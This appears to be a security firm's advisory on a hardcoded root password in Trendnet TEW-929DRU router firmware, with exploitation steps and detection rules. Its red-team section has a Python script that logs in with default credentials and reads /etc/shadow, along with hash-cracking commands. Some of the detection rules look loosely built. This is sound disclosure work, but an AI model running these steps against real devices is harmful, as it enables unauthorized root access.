CVE-2025-25428

Executive Summary

CVE-2025-25428 discloses a critical hardcoded password vulnerability in the Trendnet TEW-929DRU router firmware version 1.0.0.10. The /etc/shadow file contains a static, unchangeable root password hash, allowing any local or network attacker who gains shell access to escalate privileges to root immediately. This vulnerability is classified as CWE-798 (Use of Hard-coded Credentials) and is currently unpatched by the vendor. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the technical impact is severe due to complete system compromise.

This is a network device vulnerability, not a WordPress plugin issue. The attack vector is local (requires initial access), but the privilege escalation is trivial.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.4 (High)
• Attack Vector: Local (requires shell access)
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: High. While the EPSS score is 0.0%, the vulnerability is trivial to exploit once initial access is gained. The lack of a patch makes all TEW-929DRU devices running firmware 1.0.0.10 permanently vulnerable.

Deep Dive & Mechanics

The vulnerability resides in the /etc/shadow file of the Trendnet TEW-929DRU router. This file stores user password hashes. In a secure implementation, the root password should be randomly generated or set by the administrator during initial setup. However, in this firmware version, the root password hash is hardcoded and identical across all devices.

Technical Details:

• The /etc/shadow file contains a line for the root user with a static hash.
• An attacker who gains any form of shell access (e.g., via a separate web vulnerability, default credentials, or physical access) can read this file.
• The attacker can then crack the hash offline (if it is a weak hash like MD5) or simply use the known plaintext password if it has been publicly disclosed.
• Once the root password is known, the attacker can su or ssh as root, gaining full control over the device.

Root Cause: The vendor hardcoded the root password during firmware compilation instead of implementing a secure initialization process.

Vulnerable vs. Patched Code

Vulnerable Code (Firmware 1.0.0.10): The /etc/shadow file contains a hardcoded root entry. Example (hash is illustrative):

root:$1$abcdefgh$1234567890abcdef1234567890abcdef:0:0:99999:7:::

Patched Code (Hypothetical): A patched firmware would either:

• Remove the root password and require SSH key authentication.
• Generate a random root password on first boot.
• Force the administrator to set a password during initial setup.

Since no patch is available, there is no patched code to compare.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Trendnet TEW-929DRU router with firmware 1.0.0.10.
• Initial shell access (e.g., via a web vulnerability or default admin credentials).

Exploitation Steps:

1. Gain initial access to the router's shell (e.g., via a command injection or default telnet/SSH credentials).
2. Read the /etc/shadow file:

   cat /etc/shadow
   

3. Extract the root password hash.
4. Crack the hash using a tool like john or hashcat:

   john --format=md5crypt shadow.txt
   

5. Alternatively, if the plaintext password is known (e.g., from public disclosure), use it directly:

   su root
   

6. Escalate to root and maintain persistence.

Example Exploit Script (Python):

import paramiko

host = "192.168.1.1"
username = "admin"
password = "admin"  # default credentials

client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(host, username=username, password=password)

stdin, stdout, stderr = client.exec_command("cat /etc/shadow")
shadow_content = stdout.read().decode()
print(shadow_content)

# Extract root hash and crack (omitted for brevity)
client.close()

Blue Team

Detection & Response:

• Monitor for unauthorized SSH or telnet sessions to the router.
• Alert on any cat /etc/shadow command execution.
• Use network segmentation to limit access to the router's management interface.
• Implement a honeypot to detect scanning for TEW-929DRU devices.

Mitigation:

• Replace the router with a patched model or alternative vendor.
• If replacement is not possible, restrict management access to trusted IPs only.
• Disable remote management (WAN-side access) entirely.

Indicators of Compromise (IOCs)

• File: /etc/shadow containing a hardcoded root hash.
• Network: SSH or telnet connections from unknown IPs to the router.
• Process: Unauthorized su or sudo commands.
• Log: Successful root login from non-console sources.

Example IOC (YARA rule for shadow file):

rule Hardcoded_Root_Shadow_TEW929DRU {
    meta:
        description = "Detects hardcoded root password hash in TEW-929DRU shadow file"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $root_line = "root:$1$" ascii wide nocase
    condition:
        $root_line
}

Detection Engineering

YARA Rule

rule CVE_2025_25428_Hardcoded_Root_Shadow {
    meta:
        description = "Detects hardcoded root password hash in Trendnet TEW-929DRU /etc/shadow"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-25428"
    strings:
        $root_entry = "root:" ascii wide
        $shadow_marker = "/etc/shadow" ascii wide
    condition:
        $root_entry and $shadow_marker
}

Sigma Rule

title: Hardcoded Root Password Access on Trendnet TEW-929DRU
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to read /etc/shadow on TEW-929DRU routers
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/cat'
        CommandLine|contains: '/etc/shadow'
    condition: selection
falsepositives:
    - Legitimate administrative activity
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 22 (msg:"CVE-2025-25428 - Potential root login after shadow read on TEW-929DRU"; flow:to_server; content:"root"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Replace the device: Since no patch is available, the only secure option is to replace the TEW-929DRU with a supported router from a vendor that provides security updates.
2. Restrict access: If replacement is not possible, disable remote management and restrict SSH/telnet access to trusted IPs only.
3. Change default credentials: While this does not fix the hardcoded root password, changing the admin web interface password can prevent initial access.

Long-Term Recommendations:

• Vendor: Trendnet must release a firmware update that removes the hardcoded root password and implements secure credential initialization.
• Users: Monitor vendor advisories for a patch. Consider using a third-party open-source firmware (e.g., OpenWrt) if available for this hardware.

Workaround:

• If you must keep the device, create a custom firewall rule to block all inbound SSH/telnet traffic except from a single management IP.

Valters IT
Securing digital frontiers, one CVE at a time.